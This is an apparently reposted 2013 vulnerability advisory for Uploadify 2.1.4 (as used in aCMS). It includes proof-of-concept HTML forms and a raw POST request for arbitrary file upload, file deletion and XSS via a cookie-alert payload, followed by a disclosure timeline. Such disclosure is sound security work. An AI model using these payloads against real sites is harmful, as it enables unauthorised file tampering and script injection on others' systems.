Home / exploitsPDF  

Uploadify 2.1.4 File Upload / XSS / File Deletion

Posted on 17 September 2013

Hello list!

These are Arbitrary File Uploading, Arbitrary File Deletion and Cross-Site
Scripting vulnerabilities in Uploadify. Particularly in the version used in
aCMS (it looks like these developers use modified version of Uploadify, but
other developers also can use such version).

-------------------------
Affected products:
-------------------------

Vulnerable are Uploadify v2.1.4 and potentially other versions. Particularly
version in aCMS. Versions Uploadify 3.x are not vulnerable.

----------
Details:
----------

Arbitrary File Uploading (WASC-31):

http://websecurity.com.ua/uploads/2013/Uploadify%20AFU.html

<body>
<form action="http://site/uploadify.php" method="post"
enctype="multipart/form-data">
<input type="file" name="Filedata">
<input type="hidden" name="folder" value="/uploadify/">
<input type="submit" value="OK">
</form>
</body>

Arbitrary File Deletion (WASC-42):

http://websecurity.com.ua/uploads/2013/Uploadify%20AFD.html

<body>
<form action="http://site/uploadify.php" method="post"
enctype="multipart/form-data">
<input type="file" name="test">
<input type="hidden" name="newfile" value="/full/path/uploadify/1">
<input type="submit" value="OK">
</form>
</body>

Cross-Site Scripting (WASC-08):

http://websecurity.com.ua/uploads/2013/Uploadify%20XSS.html

<body>
<form action="http://site/uploadify.php" method="post"
enctype="multipart/form-data">
<input type="file" name="test">
<input type="hidden" name="newfile" value="<body
onload=alert(document.cookie)>">
<input type="submit" value="OK">
</form>
</body>

http://websecurity.com.ua/uploads/2013/Uploadify%20XSS-2.html

<body>
<form action="http://site/uploadify.php" method="post"
enctype="multipart/form-data">
<input type="file" name="Filedata">
<input type="hidden" name="folder" value="/uploadify">
<input type="submit" value="OK">
</form>
</body>

The second attack can be done on Linux/Unix systems, where angle brackets
can be used, or with spoofing headers.

With the next headers (to specify XSS payload in extension):

POST http://site/uploadify.php

-----------------------------240841995418756

Content-Disposition: form-data; name="Filedata"; filename="test.<body
onload=with(document)alert(cookie)>"

Content-Type: application/octet-stream



test



-----------------------------240841995418756

Content-Disposition: form-data; name="folder"



/uploadify

-----------------------------240841995418756--


------------
Timeline:
------------

2013.03.04 - informed developers of aCMS about part of the vulnerabilities.
2013.04.03 - informed developers of aCMS about another part of the
vulnerabilities.
2013.04.07 - informed developers of aCMS about another part of the
vulnerabilities.
2013.05.25 - informed developers of aCMS about another part of the
vulnerabilities.
2013.05.26 - informed developers of aCMS about another part of the
vulnerabilities.
In all cases the developers just ignored all messages via different e-mails
and contact form.
2013.06.12 - announced at my site.
2013.06.22 - informed developers of Uploadify.
2013.09.12 - disclosed at my site (http://websecurity.com.ua/6566/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

 

TOP

Malware :

Exploits :